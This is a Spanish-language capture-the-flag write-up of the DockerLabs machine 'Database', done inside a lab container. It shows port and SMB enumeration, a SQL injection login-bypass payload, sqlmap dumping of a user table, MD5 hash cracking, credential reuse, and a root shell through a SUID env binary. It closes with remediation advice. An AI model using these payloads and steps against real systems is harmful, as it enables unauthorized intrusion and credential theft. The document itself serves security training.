Database
Introducción
Sección titulada «Introducción»Este documento presenta la resolución detallada de la máquina Database, desarrollada por El Pingüino de Mario para la plataforma DockerLabs, catalogada con una dificultad Media.
El objetivo del laboratorio es comprometer un sistema vulnerable mediante el análisis de servicios expuestos, la explotación de una aplicación web vulnerable a SQL Injection, el abuso de credenciales reutilizadas y, finalmente, una escalada de privilegios aprovechando un binario con permisos SUID mal configurados.
A lo largo del write-up se describe de forma progresiva todo el proceso, desde la enumeración inicial hasta la obtención de acceso como root, destacando los fallos de seguridad presentes y las técnicas utilizadas en cada fase.
La metodología seguida se divide en tres etapas principales:
- Reconocimiento: identificación de servicios activos y usuarios del sistema.
- Explotación: obtención de acceso inicial mediante una vulnerabilidad de SQL Injection y el uso de credenciales filtradas.
- Escalada de privilegios: abuso de configuraciones inseguras para obtener acceso administrativo.
Todas las pruebas se realizaron exclusivamente dentro del entorno controlado de DockerLabs, con fines educativos.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | Database |
| Autor | El Pingüino de Mario |
| Dificultad | Medio |
| Fecha | 30/06/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Se descomprime y despliega la máquina virtual proporcionada utilizando el script oficial:
unzip "Database.zip"sudo bash auto_deploy.sh "Database.tar"Una vez finalizado el despliegue, se obtiene la dirección IP asignada al contenedor:

Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno
Sección titulada «1.1 Organización del entorno»Se crea una estructura de directorios para mantener el trabajo organizado y facilitar la documentación del laboratorio:
mkdir -p Database/{content,exploits,nmap,scripts}cd Database1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»Se realiza un escaneo completo de puertos TCP para identificar los servicios expuestos en la máquina objetivo:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos abiertos identificados:
- 22/tcp — SSH
- 80/tcp — HTTP
- 139/tcp — SMB
- 445/tcp — SMB

1.3 Enumeración HTTP (Puerto 80)
Sección titulada «1.3 Enumeración HTTP (Puerto 80)»Se realiza un escaneo de directorios y extensiones web sobre el servicio HTTP:
feroxbuster -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,html,txt,js,json -t 100 -C 404Rutas relevantes encontradas
/index— Página de inicio que muestra un formulario de autenticación.
1.4 Enumeración SMB
Sección titulada «1.4 Enumeración SMB»Se utiliza la herramienta enum4linux para enumerar usuarios, recursos compartidos y configuraciones del servicio SMB:
enum4linux -a 172.17.0.2Hallazgos clave:
- Usuarios identificados (SMB):

dylan
- Recursos compartidos disponibles:

shared
- Usuarios del sistema identificados:

dylanaugustusbob
Paso 2 — Explotación (Acceso Inicial)
Sección titulada «Paso 2 — Explotación (Acceso Inicial)»El primer vector de ataque consiste en probar un bypass de autenticación mediante SQL Injection en el formulario de login de la aplicación web.
Se utiliza el payload clásico:
' or 1=1-- -Tras enviarlo, la aplicación redirige a la siguiente página:

Esto confirma que el formulario es vulnerable a SQL Injection y que el usuario dylan existe en la base de datos.
A continuación, se utiliza sqlmap para enumerar las bases de datos:
sqlmap -u "http://172.17.0.2" --dbs --batch --form
La base de datos más relevante es register, por lo que se procede a extraer la tabla de usuarios:
sqlmap -u "http://172.17.0.2" --form --batch -D register -T users --dump
Las credenciales obtenidas se prueban en el servicio SMB, logrando acceso al recurso compartido:
smbclient \\172.17.0.2\\shared -U "dylan%<PASSWORD>"Dentro del recurso compartido se encuentra el archivo augustus.txt, el cual contiene un hash en formato MD5. Este hash se crackea utilizando john:
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash
La contraseña obtenida corresponde al usuario augustus, permitiendo el acceso al sistema mediante SSH:
ssh augustus@172.17.0.2
Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De augustus → dylan
Sección titulada «3.1 De augustus → dylan»Se prueba la reutilización de credenciales obtenidas previamente. Esta técnica resulta exitosa, permitiendo cambiar al usuario dylan mediante:
su dylan
3.2 De dylan → root
Sección titulada «3.2 De dylan → root»Se revisan inicialmente los permisos sudo, sin encontrar configuraciones útiles:
sudo -lPosteriormente, se analiza el directorio personal del usuario dylan, donde se identifica un archivo .kdbx, que podría contener credenciales almacenadas:

Sin embargo, el método más efectivo consiste en buscar binarios con permisos SUID:
find / -perm -4000 2>/dev/null
Entre los binarios listados se encuentra env, el cual permite una escalada directa de privilegios. Ejecutándolo de la siguiente forma se obtiene una shell con privilegios elevados:
env /bin/bash -p
Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»| Vulnerabilidad | Descripción |
|---|---|
| SQL Injection | El formulario de login no valida correctamente la entrada del usuario, permitiendo bypass de autenticación y extracción de bases de datos. |
| Exposición de credenciales | Las credenciales almacenadas en la base de datos y en recursos SMB permiten el acceso a múltiples servicios. |
| Reutilización de contraseñas | Una misma contraseña es válida para distintos usuarios del sistema. |
| Servicio SMB mal configurado | Acceso a recursos compartidos sin restricciones adecuadas. |
| Permisos SUID inseguros | El binario env cuenta con permisos SUID, permitiendo la ejecución de una shell con privilegios de root. |
Recomendaciones
Sección titulada «Recomendaciones»- Validar y sanitizar correctamente la entrada de usuario para prevenir ataques de SQL Injection.
- Evitar el almacenamiento de contraseñas en texto plano o hashes débiles como MD5.
- No reutilizar contraseñas entre distintos usuarios y servicios.
- Restringir el acceso a recursos SMB mediante controles de autenticación adecuados.
- Eliminar permisos SUID innecesarios en binarios del sistema.
- Aplicar el principio de mínimo privilegio y realizar auditorías de seguridad periódicas.